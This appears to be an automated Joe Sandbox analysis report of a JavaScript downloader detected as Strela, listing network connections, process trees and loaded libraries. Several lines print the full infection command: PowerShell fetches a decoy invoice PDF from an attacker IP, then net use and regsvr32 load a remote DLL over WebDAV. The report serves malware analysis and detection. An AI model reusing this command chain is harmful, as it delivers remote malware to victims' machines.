Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: global traffic	TCP traffic: 192.168.2.8:54089 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.8:52096 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.8:57157 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000002.1443269745.000001E295EA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1506160846.0000020F12D40000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1493045048.0000020F12D8E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1506378807.0000020F12D5C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1506378807.0000020F12D68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1506160846.0000020F12D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/t9
Source: svchost.exe, 00000009.00000002.2728257240.000001BCFC600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1499292988.000001BCFC510000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7568, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2708993316838119.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7624:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ehgbq0l1.4f0.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2708993316838119.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1644,i,4098101461263419961,10574565154834051972,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44311922414533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1644,i,4098101461263419961,10574565154834051972,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
